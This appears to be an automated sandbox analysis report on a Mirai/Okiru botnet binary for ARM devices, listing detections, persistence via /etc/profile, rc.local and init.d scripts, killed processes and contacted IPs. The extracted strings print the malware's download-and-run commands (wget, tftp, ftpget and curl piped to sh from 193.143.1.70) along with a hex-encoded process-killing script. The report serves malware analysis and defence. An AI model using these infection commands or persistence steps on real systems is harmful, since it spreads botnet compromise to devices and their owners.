Linux Analysis Report
arm5.nn-20241122-0008.elf

Overview

General Information

Sample name: arm5.nn-20241122-0008.elf
Analysis ID: 1560595
MD5: 76940132ba45a25955d627407f491885
SHA1: 97dc707d9459da868908cd37059489ae1601a0db
SHA256: 35bbebee22939331eaa6566a718446b1db03689c69bf1eff71fff9111ba392b2
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm5.nn-20241122-0008.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm5.nn-20241122-0008.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: arm5.nn-20241122-0008.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm5.nn-20241122-0008.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:42902 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.14:44746 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 42.55.27.214
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 32.34.201.99
Source: unknown TCP traffic detected without corresponding DNS query: 146.170.130.94
Source: unknown TCP traffic detected without corresponding DNS query: 183.224.89.171
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 73.82.74.148
Source: unknown TCP traffic detected without corresponding DNS query: 162.170.227.114
Source: unknown TCP traffic detected without corresponding DNS query: 31.248.13.247
Source: unknown TCP traffic detected without corresponding DNS query: 42.55.27.214
Source: unknown TCP traffic detected without corresponding DNS query: 32.34.201.99
Source: unknown TCP traffic detected without corresponding DNS query: 146.170.130.94
Source: unknown TCP traffic detected without corresponding DNS query: 57.24.22.32
Source: unknown TCP traffic detected without corresponding DNS query: 183.224.89.171
Source: unknown TCP traffic detected without corresponding DNS query: 73.82.74.148
Source: unknown TCP traffic detected without corresponding DNS query: 162.170.227.114
Source: unknown TCP traffic detected without corresponding DNS query: 31.248.13.247
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm5.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/
Source: arm5.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm5.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm5.nn-20241122-0008.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4H
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 794, result: successful Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 888, result: successful Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 1659, result: successful Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 3212, result: successful Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 3218, result: successful Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5519) SIGKILL sent: pid: 5558, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5591) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5624) File: /etc/rc.d/S99arm5.nn-20241122-0008.elf -> /etc/init.d/arm5.nn-20241122-0008.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5588) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5596) File: /etc/init.d/arm5.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5780/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5781/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5782/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5783/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5784/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5785/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5731/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5753/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5797/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5754/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5798/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5755/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5799/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5810/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5756/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5778/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5811/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5757/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5779/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5758/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5759/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5771/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5750/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5751/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5795/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5752/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5796/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5728/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5805/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5806/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5807/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5808/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5809/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5786/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5787/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5348/cmdline Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5788/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5800/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5724/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5801/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5725/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5802/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5803/status Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5650) File opened: /proc/5804/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5526) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5584) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5589) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5592) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn-20241122-0008.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn-20241122-0008.elf'\n /tmp/arm5.nn-20241122-0008.elf &\n wget eqqm7,,.60+.10+.+4-, -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn-20241122-0008.elf'\n killall arm5.nn-20241122-0008.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn-20241122-0008.elf" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5594) Shell command executed: sh -c "chmod +x /etc/init.d/arm5.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5597) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5622) Shell command executed: sh -c "ln -s /etc/init.d/arm5.nn-20241122-0008.elf /etc/rc.d/S99arm5.nn-20241122-0008.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5588) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5596) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm5.nn-20241122-0008.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5621) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5555) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5588) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5596) File: /etc/init.d/arm5.nn-20241122-0008.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5592) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm5.nn-20241122-0008.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5592) File: /etc/init.d/arm5.nn-20241122-0008.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm5.nn-20241122-0008.elf (PID: 5509) Queries kernel information via 'uname': Jump to behavior
Source: arm5.nn-20241122-0008.elf, 5509.1.000055efbb714000.000055efbb863000.rw-.sdmp, arm5.nn-20241122-0008.elf, 5519.1.000055efbb714000.000055efbb863000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.nn-20241122-0008.elf, 5509.1.00007ffd10823000.00007ffd10844000.rw-.sdmp, arm5.nn-20241122-0008.elf, 5519.1.00007ffd10823000.00007ffd10844000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.nn-20241122-0008.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.nn-20241122-0008.elf
Source: arm5.nn-20241122-0008.elf, 5519.1.00007f6c9403a000.00007f6c9403e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm5.nn-20241122-0008.elf, 5509.1.00007ffd10823000.00007ffd10844000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.Vo6agL
Source: arm5.nn-20241122-0008.elf, 5509.1.000055efbb714000.000055efbb863000.rw-.sdmp, arm5.nn-20241122-0008.elf, 5519.1.000055efbb714000.000055efbb863000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.nn-20241122-0008.elf, 5509.1.00007ffd10823000.00007ffd10844000.rw-.sdmp, arm5.nn-20241122-0008.elf, 5519.1.00007ffd10823000.00007ffd10844000.rw-.sdmp, arm5.nn-20241122-0008.elf, 5519.1.00007f6c9403e000.00007f6c94043000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.nn-20241122-0008.elf, 5509.1.00007ffd10823000.00007ffd10844000.rw-.sdmp Binary or memory string: /tmp/qemu-open.Vo6agL
Source: arm5.nn-20241122-0008.elf, 5519.1.000055efbb714000.000055efbb863000.rw-.sdmp Binary or memory string: U/arm/sr/bin0!/usr/bin/VGAuthService1/usr/lib/policykit-1-gnome0!/proc/1557/exe0!/proc/726/exe1/proc/3268/exe/arm/ro10!/usr/bin/gnome-shell!/usr/bin/vmtoolsd1/proc/3412/exe/arm/sr10!/proc/1444/exe0!/proc/740/exe1/usr/libexec/evolution-source-registry!/proc/1399/exe0!/proc/767/exe1/proc/3187/exe/arm/ro
Source: arm5.nn-20241122-0008.elf, 5509.1.00007ffd10823000.00007ffd10844000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.nn-20241122-0008.elf, 5519.1.00007f6c9403a000.00007f6c9403e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5519.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5509.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5519.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5509.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn-20241122-0008.elf PID: 5509, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm5.nn-20241122-0008.elf PID: 5519, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm5.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5519.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5509.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm5.nn-20241122-0008.elf, type: SAMPLE
Source: Yara match File source: 5519.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5509.1.00007f6c94017000.00007f6c94031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn-20241122-0008.elf PID: 5509, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm5.nn-20241122-0008.elf PID: 5519, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
96.116.142.3
 unknown United States
7922 COMCAST-7922US false
64.204.91.158
 unknown United States
4565 MEGAPATH2-US false
4.225.166.13
 unknown United States
3356 LEVEL3US false
144.195.83.213
 unknown United States
20221 IATACA false
148.184.142.149
 unknown United States
3423 ATTIS-ASN3423US false
213.96.249.206
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
108.193.186.221
 unknown United States
7018 ATT-INTERNET4US false
203.46.59.1
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
222.105.238.92
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
41.157.7.139
 unknown South Africa
37168 CELL-CZA false
35.121.196.140
 unknown United States
237 MERIT-AS-14US false
16.74.48.13
 unknown United States
unknown unknown false
156.32.205.214
 unknown United States
29975 VODACOM-ZA false
120.46.33.63
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
158.167.106.103
 unknown Luxembourg
42848 EC-ASLU false
137.221.242.86
 unknown United Kingdom
204777 TELENTGB false
49.166.157.223
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
196.50.54.57
 unknown Gabon
328124 DIGICOM-ASGA false
31.6.101.145
 unknown Russian Federation
59815 TRK-METRO-ASRU false
29.169.61.53
 unknown United States
7922 COMCAST-7922US false
221.122.154.254
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
176.203.173.169
 unknown Qatar
8781 QA-ISPQA false
167.2.233.41
 unknown United States
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
96.235.71.59
 unknown United States
701 UUNETUS false
201.75.169.236
 unknown Brazil
28573 CLAROSABR false
192.83.133.136
 unknown United States
19397 ACN-DIGITAL-PHONEUS false
166.185.192.82
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
30.254.87.226
 unknown United States
7922 COMCAST-7922US false
62.75.83.6
 unknown Greece
12361 PANAFONET-ASAthensGreeceGR false
94.58.86.228
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
114.239.133.94
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
220.249.175.246
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
202.167.154.33
